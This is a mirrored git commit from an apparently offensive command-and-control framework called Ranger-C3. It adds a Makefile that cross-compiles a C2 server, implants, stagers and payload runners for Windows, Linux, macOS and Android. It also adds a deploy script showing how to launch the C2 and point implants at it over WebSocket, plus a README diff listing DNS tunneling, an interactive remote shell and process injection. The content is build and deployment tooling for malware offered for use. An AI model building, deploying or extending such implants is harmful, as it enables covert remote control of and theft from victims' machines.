mirror of
https://git.churchofmalware.org/ek0mssavi0r/Ranger-C3
synced 2026-09-24 08:34:47 +00:00
Upload files to "/"
This commit is contained in:
@@ -0,0 +1,69 @@
|
||||
# Ranger C3 Makefile
|
||||
.PHONY: all build build-all c2 implant stager payloads clean deploy-c2
|
||||
|
||||
BUILD_DIR ?= ./build
|
||||
GOFLAGS ?= -ldflags="-s -w"
|
||||
|
||||
# Cross C compiler for the linux/arm64 C2 build (cgo sqlite3).
|
||||
# Override if your toolchain has a different triple:
|
||||
# make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc
|
||||
ARM64_CC ?= aarch64-linux-gnu-gcc
|
||||
|
||||
all: build
|
||||
|
||||
build: c2 implant stager
|
||||
|
||||
c2:
|
||||
@mkdir -p $(BUILD_DIR)
|
||||
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2 ./cmd/c2
|
||||
@echo "[+] C2 server built: $(BUILD_DIR)/ranger-c2"
|
||||
|
||||
implant:
|
||||
@mkdir -p $(BUILD_DIR)
|
||||
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant.exe ./cmd/implant
|
||||
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant ./cmd/implant
|
||||
GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant_mac ./cmd/implant
|
||||
@echo "[+] Implants built: $(BUILD_DIR)/implant*"
|
||||
|
||||
stager:
|
||||
@mkdir -p $(BUILD_DIR)
|
||||
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager.exe ./cmd/stager
|
||||
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager ./cmd/stager
|
||||
@echo "[+] Stagers built: $(BUILD_DIR)/stager*"
|
||||
|
||||
payloads:
|
||||
@mkdir -p $(BUILD_DIR)
|
||||
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads.exe ./cmd/payloads
|
||||
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads ./cmd/payloads
|
||||
GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads_mac ./cmd/payloads
|
||||
@echo "[+] Payload runners built: $(BUILD_DIR)/payloads*"
|
||||
|
||||
build-all: build
|
||||
CGO_ENABLED=1 CC=$(ARM64_CC) GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2-arm64 ./cmd/c2
|
||||
GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-arm64 ./cmd/implant
|
||||
GOOS=linux GOARCH=386 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-386 ./cmd/implant
|
||||
GOOS=android GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-android ./cmd/implant
|
||||
@echo "[+] Cross-compiled builds done"
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD_DIR) certs/ data/
|
||||
|
||||
# Deploy C2 with default config
|
||||
deploy-c2: c2
|
||||
@echo "[*] Starting C2 server..."
|
||||
./$(BUILD_DIR)/ranger-c2 \
|
||||
--listen :4443 \
|
||||
--mesh :9000 \
|
||||
--password "changeme" \
|
||||
--db data/c2.db \
|
||||
--gen-certs \
|
||||
--id ranger-c2-01
|
||||
|
||||
# Show binary sizes
|
||||
sizes:
|
||||
@ls -lh $(BUILD_DIR)/ 2>/dev/null || echo "build first"
|
||||
|
||||
# Upstream deps
|
||||
deps:
|
||||
go mod tidy
|
||||
go mod download
|
||||
@@ -24,7 +24,7 @@
|
||||
| Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames |
|
||||
| Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) |
|
||||
| Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor |
|
||||
| Payload system | 23 native Go payload modules — compiled, no Python needed at runtime |
|
||||
| Payload system | 24 native Go payload modules — compiled, no Python needed at runtime |
|
||||
| Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation |
|
||||
| Auth | JWT-based operator authentication with token expiry |
|
||||
| Persistence | SQLite (WAL mode, concurrent) |
|
||||
@@ -83,8 +83,15 @@ make c2 # Linux C2 server
|
||||
make implant # Cross-compile implants (win/linux/mac)
|
||||
make stager # Cross-compile stagers (win/linux)
|
||||
make payloads # Build standalone payload binaries
|
||||
make build-all # Everything + cross targets (see notes below)
|
||||
```
|
||||
|
||||
**Cross-compile notes:**
|
||||
|
||||
- `make build-all` cross-compiles the C2 for `linux/arm64`; the SQLite driver needs cgo, so it uses `aarch64-linux-gnu-gcc` by default. Install `gcc-aarch64-linux-gnu` (Debian/Ubuntu/Kali) or override: `make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc`.
|
||||
- Full implant matrix: windows/amd64, linux/amd64, linux/arm64, linux/386, android/arm64, darwin/amd64.
|
||||
- `process_inject` is linux/amd64-only; other architectures report it as unsupported instead of failing the build.
|
||||
|
||||
### 2. Start C2
|
||||
|
||||
```bash
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
#!/bin/bash
|
||||
# deploy.sh - Deploy Ranger C3 with Nginx fronting (optional)
|
||||
set -e
|
||||
|
||||
VERSION="3.0.0"
|
||||
|
||||
echo " Ranger C3 v${VERSION} - Deploy Script "
|
||||
echo "==========================================="
|
||||
|
||||
# Check for Go
|
||||
if ! command -v go &>/dev/null; then
|
||||
echo "[-] Go not found. Install: apt install golang-go"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Build
|
||||
echo "[*] Building binaries..."
|
||||
make build 2>/dev/null || go build -ldflags="-s -w" -o build/ranger-c2 ./cmd/c2
|
||||
|
||||
# Create data directory
|
||||
mkdir -p data
|
||||
|
||||
# Generate certs if needed (reused on later runs; --force-certs to regenerate)
|
||||
echo "[*] Ensuring TLS certificates..."
|
||||
./build/ranger-c2 --gen-certs-only 2>/dev/null || true
|
||||
|
||||
echo ""
|
||||
echo "[+] Build complete. To start:"
|
||||
echo ""
|
||||
echo " # Standalone C2"
|
||||
echo " ./build/ranger-c2 \\"
|
||||
echo " --listen :4443 \\"
|
||||
echo " --password \"YOUR_PASSWORD\" \\"
|
||||
echo " --db data/c2.db \\"
|
||||
echo " --gen-certs"
|
||||
echo ""
|
||||
echo " # C2 with mesh peers"
|
||||
echo " ./build/ranger-c2 \\"
|
||||
echo " --listen :4443 \\"
|
||||
echo " --mesh :9000 \\"
|
||||
echo " --bootstrap \"10.0.0.2:9000,10.0.0.3:9000\" \\"
|
||||
echo " --password \"YOUR_PASSWORD\" \\"
|
||||
echo " --db data/c2.db \\"
|
||||
echo " --gen-certs"
|
||||
echo ""
|
||||
echo " # Dashboard: https://your-c2:4443/dashboard"
|
||||
echo " # Implant: ./build/implant --c2 wss://your-c2:4443/ws"
|
||||
echo ""
|
||||
echo "==========================================="
|
||||
@@ -0,0 +1,12 @@
|
||||
module git.churchofmalware.org/ek0mssavi0r/Ranger-C3
|
||||
|
||||
go 1.26
|
||||
|
||||
require (
|
||||
github.com/golang-jwt/jwt/v5 v5.2.1
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
github.com/mattn/go-sqlite3 v1.14.24
|
||||
golang.org/x/crypto v0.31.0
|
||||
)
|
||||
|
||||
require golang.org/x/sys v0.28.0
|
||||
@@ -0,0 +1,12 @@
|
||||
github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk=
|
||||
github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
|
||||
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
|
||||
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
||||
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
|
||||
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
|
||||
Reference in New Issue
Block a user